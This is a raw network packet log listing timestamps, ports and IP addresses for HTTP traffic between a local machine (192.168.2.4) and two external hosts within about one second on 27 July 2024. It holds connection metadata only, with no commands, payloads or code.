Jul 27, 2024 05:39:18.221438885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221452951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221472025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221482038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221508026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221519947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221541882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221561909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221590996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221596003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221628904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221646070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221662045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221677065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221695900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221712112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221730947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221746922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221764088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221781015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221796989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221811056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221847057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221853018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221887112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221903086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221919060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221935034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221954107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221973896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221992970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222002983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222038984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222043037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222075939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222091913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222109079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222125053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222141981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222158909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222174883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222191095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222223043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222225904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222259998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222275019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222292900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222304106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222337008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222342968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222376108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222393990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222423077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222425938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222459078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222471952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222496033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222506046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222528934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222560883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222562075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222573996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222594976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222606897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222629070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222635984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222662926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222672939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222697973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222707987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222731113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222742081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222773075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222781897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222824097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222831964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222866058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222877979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222898960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222909927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222934008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222945929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.222966909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.222976923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223001957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223011017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223035097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223046064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223067999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223076105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223104954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223109961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223140001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223149061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223172903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223185062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223217010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223223925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223269939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223273039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223305941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223311901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223339081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223345995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223372936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223383904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223417044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223423004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223457098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223469973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223490000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223500967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223531961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223541021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223573923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223584890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223606110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223614931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223639011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223653078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223671913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223689079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223714113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223721981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223756075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223767042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223790884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223812103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223826885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223834991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223860979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223875046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223893881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223903894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223937035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.223942995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223978043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.223987103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224010944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224021912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224045038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224069118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224076986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224087000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224111080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224121094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224140882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224155903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224174023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224185944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224208117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224217892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224241972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224252939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224275112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224284887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224308968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224318981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224343061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224351883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224375963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224389076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224414110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224419117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224443913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224457979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224477053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224494934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224523067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224560022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224591970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224602938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224626064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224637985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224658966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224668980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224694967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224704981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224729061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224736929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224762917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224769115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224797964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224814892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224832058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224841118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224862099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224874973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224895954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224905014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224931955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.224940062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.224975109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.283029079 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.283277988 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.311676025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311745882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311804056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311825037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311835051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.311844110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311861992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311878920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311913967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311947107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.311969995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.311996937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312000036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312031984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312041998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312066078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312076092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312099934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312110901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312133074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312144995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312181950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312199116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312232018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312242985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312264919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312280893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312302113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312304974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312336922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312345982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312371016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312378883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312406063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312412977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312439919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312448025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312475920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312484980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312521935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312622070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312654972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312665939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312690020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312699080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312724113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312731981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312757015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312766075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312793016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312809944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312825918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312836885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312860012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312865973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312894106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312901020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312928915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312941074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312963009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.312972069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.312999010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.313005924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.313040972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.314094067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.314158916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.358354092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.363254070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.393531084 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.393907070 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.398833036 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.398895979 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.398926973 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.398952007 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.399153948 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.403902054 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.537879944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.537951946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.537981033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.537986040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538006067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538034916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538038969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538073063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538084984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538108110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538117886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538151026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538158894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538204908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538212061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538255930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538269997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538302898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538312912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538332939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538341045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538376093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538383961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538417101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538428068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538460970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538467884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538503885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538512945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538537025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538547993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538572073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538580894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538604975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538615942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538649082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538657904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538692951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538706064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538738012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538744926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538789034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538794994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538829088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538841009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538862944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538872957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538897038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538907051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538929939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538940907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.538964033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.538974047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539006948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539016962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539061069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539067984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539099932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539110899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539134026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539140940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539166927 CEST	80	49477	85.28.47.31	192.168.2.4
